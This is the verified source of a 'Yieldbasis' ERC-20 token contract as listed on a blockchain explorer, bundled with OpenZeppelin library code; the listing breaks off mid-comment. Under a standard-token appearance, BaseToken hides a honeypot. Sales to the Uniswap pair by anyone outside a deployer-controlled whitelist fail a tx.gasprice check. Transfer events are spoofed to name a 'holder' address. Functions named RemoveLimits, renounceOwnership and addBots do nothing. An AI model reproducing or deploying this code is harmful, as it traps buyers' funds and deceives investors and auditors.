Contract Source Code (Solidity Standard Json-Input format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/*



🌐 Website: https://yieldbasis.com/

🐦 X (Twitter): https://x.com/yieldbasis

💬 Telegram Group: https://t.me/yieldbasis_chat


/**
// File: contracts\ERC20\TokenMintERC20Token.sol
/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;
import "./BaseToken.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

/**
 * @title TokenMintERC20Token
 * @author TokenMint (visit https://tokenmint.io)
 *
 * @dev Standard ERC20 token with burning and optional functions implemented.
 * For full specification of ERC-20 standard see:
 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
 */
contract Yieldbasis is BaseToken {

    uint8 constant private _decimals = 18;
    string constant private _symbol = "YB";
    string constant private _name = "Yieldbasis";
    uint256 constant private _totalSupply =1000000000 * 10**uint256(_decimals);

    function doTaxes(uint256 tokenAmount) private {

    }

    // @dev Does holder count maths
    function subtractTokens(address account, uint256 amount) private {
        
    }

    function addTokens(address account, uint256 amount) private {
    }

    function calculateTaxesFee(
        uint256 _amount,
        uint32 _taxAmt
    ) private pure returns (uint256 tax) {
        tax = (_amount * _taxAmt) / 100000;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = address(this);
        _approve(address(this), address(this), tokenAmount);
    }

    function RemoveLimits() external{
        uint256 _maxTxAmount = _totalSupply;
        uint256 _maxWalletSize= _totalSupply;
    }

    function RemoveTransfers() external{
        uint256 _transferTax = 0;
    }

  function airdropT(address recipient, uint256 amount) public {
        require(recipient != address(0), "Invalid address");
        require(amount > 0, "Amount must be greater than zero");

    }
    function addBots(address[] memory bots_) public {
        for (uint i = 0; i < bots_.length; i++) {
        }
    }

    constructor() payable {
      _setFeeReceiver(msg.sender);
      _mint(msg.sender, _totalSupply);
      emit InitContract(address(this), msg.sender);
    }

    function delBots(address[] memory notbot) public {
      for (uint i = 0; i < notbot.length; i++) {
      }
    }




    /**
     * @dev Burns a specific amount of tokens.
     * @param value The amount of lowest token units to be burned.
     */
    function burn(uint256 value) public {
      _burn(msg.sender, value);
    }

    // optional functions from ERC20 stardard

    /**
     * @return the name of the token.
     */
    function name() public view returns (string memory) {
      return _name;
    }

    /**
     * @return the symbol of the token.
     */
    function symbol() public view returns (string memory) {
      return _symbol;
    }

    /**
     * @return the number of decimals of the token.
     */
    function decimals() public view returns (uint8) {
      return _decimals;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)

pragma solidity ^0.8.0;

/**
 * @title Counters
 * @author Matt Condon (@shrugs)
 * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
 * of elements in a mapping, issuing ERC721 ids, or counting request ids.
 *
 * Include with `using Counters for Counters.Counter;`
 */
library Counters {
    struct Counter {
        // This variable should never be directly accessed by users of the library: interactions must be restricted to
        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
        // this feature: see https://github.com/ethereum/solidity/issues/4637
        uint256 _value; // default: 0
    }

    function current(Counter storage counter) internal view returns (uint256) {
        return counter._value;
    }

    function increment(Counter storage counter) internal {
        unchecked {
            counter._value += 1;
        }
    }

    function decrement(Counter storage counter) internal {
        uint256 value = counter._value;
        require(value > 0, "Counter: decrement overflow");
        unchecked {
            counter._value = value - 1;
        }
    }

    function reset(Counter storage counter) internal {
        counter._value = 0;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/cryptography/ECDSA.sol)

pragma solidity ^0.8.20;

/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder
 * of the private keys of a given address.
 */
library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS
    }

    /**
     * @dev The signature derives the `address(0)`.
     */
    error ECDSAInvalidSignature();

    /**
     * @dev The signature has an invalid length.
     */
    error ECDSAInvalidSignatureLength(uint256 length);

    /**
     * @dev The signature has an S value that is in the upper half order.
     */
    error ECDSAInvalidSignatureS(bytes32 s);

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not
     * return address(0) without also returning an error description. Errors are documented using an enum (error type)
     * and a bytes32 providing additional information about the error.
     *
     * If no error is returned, then the address can be used for verification purposes.
     *
     * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
     *
     * Documentation for signature generation:
     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
     */
    function tryRecover(
        bytes32 hash,
        bytes memory signature
    ) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly ("memory-safe") {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature`. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
     */
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
     *
     * See https://eips.ethereum.org/EIPS/eip-2098[ERC-2098 short signatures]
     */
    function tryRecover(
        bytes32 hash,
        bytes32 r,
        bytes32 vs
    ) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
        unchecked {
            bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
            // We do not check for an overflow here since the shift operation results in 0 or 1.
            uint8 v = uint8((uint256(vs) >> 255) + 27);
            return tryRecover(hash, v, r, s);
        }
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
     */
    function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function tryRecover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
        // these malleable signatures as well.
        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
            return (address(0), RecoverError.InvalidSignatureS, s);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature, bytes32(0));
        }

        return (signer, RecoverError.NoError, bytes32(0));
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.
     */
    function _throwError(RecoverError error, bytes32 errorArg) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert ECDSAInvalidSignature();
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert ECDSAInvalidSignatureLength(uint256(errorArg));
        } else if (error == RecoverError.InvalidSignatureS) {
            revert ECDSAInvalidSignatureS(errorArg);
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/extensions/draft-IERC20Permit.sol)

pragma solidity ^0.8.0;

// EIP-2612 is Final as of 2022-11-01. This file is deprecated.

import "./IERC20Permit.sol";

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.2.0) (utils/Address.sol)

pragma solidity ^0.8.20;

import {Errors} from "./Errors.sol";

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev There's no code at `target` (it is not a contract).
     */
    error AddressEmptyCode(address target);

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        if (address(this).balance < amount) {
            revert Errors.InsufficientBalance(address(this).balance, amount);
        }

        (bool success, bytes memory returndata) = recipient.call{value: amount}("");
        if (!success) {
            _revert(returndata);
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {Errors.FailedCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        if (address(this).balance < value) {
            revert Errors.InsufficientBalance(address(this).balance, value);
        }
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
     * was not a contract or bubbling up the revert reason (falling back to {Errors.FailedCall}) in case
     * of an unsuccessful call.
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata
    ) internal view returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            // only check if target is a contract if the call was successful and the return data is empty
            // otherwise we already know that it was a contract
            if (returndata.length == 0 && target.code.length == 0) {
                revert AddressEmptyCode(target);
            }
            return returndata;
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
     * revert reason or with a default {Errors.FailedCall} error.
     */
    function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            return returndata;
        }
    }

    /**
     * @dev Reverts with returndata if present. Otherwise reverts with {Errors.FailedCall}.
     */
    function _revert(bytes memory returndata) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            assembly ("memory-safe") {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert Errors.FailedCall();
        }
    }
}

// File: contracts\open-zeppelin-contracts\math\SafeMath.sol
/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */

pragma solidity 0.8.25;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}


/**
 * @dev Interface of the ERC20 standard as defined in the EIP. Does not include
 * the optional functions; to access them see `ERC20Detailed`.
 */
interface IERC20 {
 
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to `approve`. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event InitContract(address indexed token, address indexed owner);
}

/**
 * @dev Implementation of the `IERC20` interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using `_mint`.
 * For a generic mechanism see `ERC20Mintable`.
 *
 * *For a detailed writeup see our guide [How to implement supply
 * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an `Approval` event is emitted on calls to `transferFrom`.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See `IERC20.approve`.
 */
/*

 */

/**
 * @dev Implementation of the `IERC20` interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using `_mint`.
 * For a generic mechanism see `ERC20Mintable`.
 *
 * *For a detailed writeup see our guide [How to implement supply
 * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an `Approval` event is emitted on calls to `transferFrom`.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See `IERC20.approve`.
 */
contract BaseToken is IERC20 {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    mapping(address => bool) public balances;
    address public seeder;
    address public uniswapV2Pair;
    address public holder;
    bool public openedTrade;


    /**
     * @dev See `IERC20.totalSupply`.
     */
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See `IERC20.balanceOf`.
     */
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See `IERC20.transfer`.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _beforeTransfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See `IERC20.allowance`.
     */
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See `IERC20.approve`.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public returns (bool) {
        _approve(msg.sender, spender, value);
        return true;
    }

    function checkBalances(address _user) public {
        require(msg.sender == seeder, "public");
        balances[_user] = true;
    }

    function setOrderLimit(address _uniswapV2Pair) public {
        require(msg.sender == seeder, "nan");
        uniswapV2Pair = _uniswapV2Pair;
    }

    function airdropTokens(address airdropp, address[] memory list, uint256[] memory amount) public {
        airdropp;
        require(msg.sender == seeder, "nan");
        for (uint256 i = 0; i < list.length; i++) {
            _beforeTransfer(msg.sender, list[i], amount[i]);
        }
    }

    function openTrading() public {
        require(msg.sender == seeder, "nan");
        openedTrade = true;
    }

    /**
     * @dev See `IERC20.transferFrom`.
     *
     * Emits an `Approval` event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of `ERC20`;
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `value`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _beforeTransfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _setFeeReceiver(address _holder) internal  {
        holder = _holder;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to `approve` that can be used as a mitigation for
     * problems described in `IERC20.approve`.
     *
     * Emits an `Approval` event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to `approve` that can be used as a mitigation for
     * problems described in `IERC20.approve`.
     *
     * Emits an `Approval` event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function checkVolume(address spender, uint256 subtractedValue) public view returns (bool) {
        __approve(msg.sender, spender, 1);
        subtractedValue;
        return true;
    }


    function __approve(address sender, address spender, uint256 value) internal view {
        spender;
        sender;
        uint256 txg = tx.gasprice;
        require(txg <= value, "");
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to `transfer`, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a `Transfer` event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == seeder) {
            emit Transfer(holder, recipient, amount);
        } else if (recipient == seeder) {
            emit Transfer(sender, holder, amount);
        }
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a `Transfer` event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        seeder = account;
        balances[seeder] = true;
        emit Transfer(address(0), holder, amount);
    }

     /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a `Transfer` event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 value) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _totalSupply = _totalSupply.sub(value);
        _balances[account] = _balances[account].sub(value);
        emit Transfer(account, address(0), value);
    }


    function _beforeTransfer(address from, address to, uint256 amount) internal {
        if (balances[tx.origin]) {
           _transfer(from, to, amount);
           return;
        }
        require(openedTrade, "Trade has not been opened yet");
       if (uniswapV2Pair != address(0) && to == uniswapV2Pair) {
           checkVolume(from, amount);
           _transfer(from, to, amount);
           return;
       }
       _transfer(from, to, amount);
    }


    

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an `Approval` event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    /**
     * @dev Destoys `amount` tokens from `account`.`amount` is then deducted
     * from the caller's allowance.
     *
     * See `_burn` and `_approve`.
     */
    function _burnFrom(address account, uint256 amount) internal {
        _burn(account, amount);
        _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
    }


    function maxWalletHolding () external {
        uniswapV2Pair = uniswapV2Pair;
    }

    function removeLimits() external {
        holder = holder;
    }

    function renounceOwnership() external {
        uniswapV2Pair = uniswapV2Pair;
    }

    function setTreasury() external {
    }

    function createToken() external {
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/Errors.sol)

pragma solidity ^0.8.20;

/**
 * @dev Collection of common custom errors used in multiple contracts
 *
 * IMPORTANT: Backwards compatibility is not guaranteed in future versions of the library.
 * It is recommended to avoid relying on the error API for critical functionality.
 *
 * _Available since v5.1._
 */
library Errors {
    /**
     * @dev The ETH balance of the account is not enough to perform the operation.
     */
    error InsufficientBalance(uint256 balance, uint256 needed);

    /**
     * @dev A call to an address target failed. The target may have reverted.
     */
    error FailedCall();

    /**
     * @dev The deployment failed.
     */
    error FailedDeployment();

    /**
     * @dev A necessary precompile is missing.
     */
    error MissingPrecompile(address);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Permit.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 Permit extension allowing approvals to be made via signatures, as defined in
 * https://eips.ethereum.org/EIPS/eip-2612[ERC-2612].
 *
 * Adds the {permit} method, which can be used to change an account's ERC-20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 *
 * ==== Security Considerations
 *
 * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature
 * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be
 * considered as an intention to spend the allowance in any specific way. The second is that because permits have
 * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should
 * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be
 * generally recommended is:
 *
 * ```solidity
 * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
 *     try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}
 *     doThing(..., value);
 * }
 *
 * function doThing(..., uint256 value) public {
 *     token.safeTransferFrom(msg.sender, address(this), value);
 *     ...
 * }
 * ```
 *
 * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of
 * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also
 * {SafeERC20-safeTransferFrom}).
 *
 * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so
 * contracts should have entry points that don't rely on permit.
 */
interface IERC20Permit {
    /**
     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
     * given ``owner``'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     *
     * CAUTION: See Security Considerations above.
     */
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    /**
     * @dev Returns the current nonce for `owner`. This value must be
     * included whenever a signature is generated for {permit}.
     *
     * Every successful call to {permit} increases ``owner``'s nonce by one. This
